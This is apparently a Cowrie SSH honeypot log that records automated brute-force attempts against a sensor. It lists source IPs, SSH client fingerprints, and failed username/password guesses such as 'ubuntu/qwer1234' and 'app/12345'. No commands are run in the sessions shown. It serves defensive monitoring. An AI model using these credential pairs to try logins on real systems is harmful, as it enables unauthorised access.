{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:37.379632Z","src_ip":"213.209.159.158","session":"ebff7fa268a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:37.385788Z","src_ip":"213.209.159.158","session":"ebff7fa268a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":46730,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e293bab6f1b","protocol":"ssh","message":"New connection: 92.118.39.95:46730 (159.203.135.109:22) [session: 3e293bab6f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:39.741278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:39.747173Z","src_ip":"92.118.39.95","session":"3e293bab6f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:39.924469Z","src_ip":"92.118.39.95","session":"3e293bab6f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:40.252245Z","src_ip":"92.118.39.95","session":"3e293bab6f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:41.353959Z","src_ip":"92.118.39.95","session":"3e293bab6f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amx","password":"amx","message":"login attempt [amx/amx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:42.698441Z","src_ip":"213.209.159.158","session":"ebff7fa268a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:44.928812Z","src_ip":"213.209.159.158","session":"ebff7fa268a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":17288,"dst_ip":"10.17.0.5","dst_port":22,"session":"85df3beb23d4","protocol":"ssh","message":"New connection: 213.209.159.158:17288 (10.17.0.5:22) [session: 85df3beb23d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:45.016503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:45.978720Z","src_ip":"213.209.159.158","session":"85df3beb23d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:45.982240Z","src_ip":"213.209.159.158","session":"85df3beb23d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qqqqqqq","message":"login attempt [user/qqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:50.522381Z","src_ip":"213.209.159.158","session":"85df3beb23d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:52.808865Z","src_ip":"213.209.159.158","session":"85df3beb23d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45136,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b2ef1b77db3","protocol":"ssh","message":"New connection: 213.209.159.158:45136 (10.17.0.5:22) [session: 3b2ef1b77db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:52.924214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:53.919460Z","src_ip":"213.209.159.158","session":"3b2ef1b77db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:53.923600Z","src_ip":"213.209.159.158","session":"3b2ef1b77db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1qaz!QAZ","message":"login attempt [app/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:57.981735Z","src_ip":"213.209.159.158","session":"3b2ef1b77db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:00.003211Z","src_ip":"213.209.159.158","session":"3b2ef1b77db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45142,"dst_ip":"10.17.0.5","dst_port":22,"session":"d49868bd48a1","protocol":"ssh","message":"New connection: 213.209.159.158:45142 (10.17.0.5:22) [session: d49868bd48a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:00.083665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:01.321572Z","src_ip":"213.209.159.158","session":"d49868bd48a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:01.325541Z","src_ip":"213.209.159.158","session":"d49868bd48a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"12345","message":"login attempt [app/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:05.466682Z","src_ip":"213.209.159.158","session":"d49868bd48a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:07.366441Z","src_ip":"213.209.159.158","session":"d49868bd48a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9648,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a27f8cef94f","protocol":"ssh","message":"New connection: 213.209.159.158:9648 (10.17.0.5:22) [session: 7a27f8cef94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:07.453396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:08.308290Z","src_ip":"213.209.159.158","session":"7a27f8cef94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:08.312231Z","src_ip":"213.209.159.158","session":"7a27f8cef94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":49306,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd3e8d91a2f","protocol":"ssh","message":"New connection: 142.93.139.168:49306 (159.203.135.109:22) [session: 7fd3e8d91a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:10.491496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:10.495695Z","src_ip":"142.93.139.168","session":"7fd3e8d91a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:10.569312Z","src_ip":"142.93.139.168","session":"7fd3e8d91a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weth","password":"Weth2017","message":"login attempt [weth/Weth2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:10.721135Z","src_ip":"142.93.139.168","session":"7fd3e8d91a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:11.798451Z","src_ip":"142.93.139.168","session":"7fd3e8d91a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boss","password":"boss123456","message":"login attempt [boss/boss123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:12.830529Z","src_ip":"213.209.159.158","session":"7a27f8cef94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:14.778895Z","src_ip":"213.209.159.158","session":"7a27f8cef94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":11072,"dst_ip":"10.17.0.5","dst_port":22,"session":"edd06d00f2b2","protocol":"ssh","message":"New connection: 213.209.159.158:11072 (10.17.0.5:22) [session: edd06d00f2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:14.868127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:15.591424Z","src_ip":"213.209.159.158","session":"edd06d00f2b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:15.594711Z","src_ip":"213.209.159.158","session":"edd06d00f2b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"C","password":"C","message":"login attempt [C/C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:19.369638Z","src_ip":"213.209.159.158","session":"edd06d00f2b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:21.559972Z","src_ip":"213.209.159.158","session":"edd06d00f2b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15614,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5241af80cd6","protocol":"ssh","message":"New connection: 213.209.159.158:15614 (10.17.0.5:22) [session: b5241af80cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:22.779839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:25:23.495195Z","src_ip":"213.209.159.158","session":"b5241af80cd6","protocol":"ssh"}
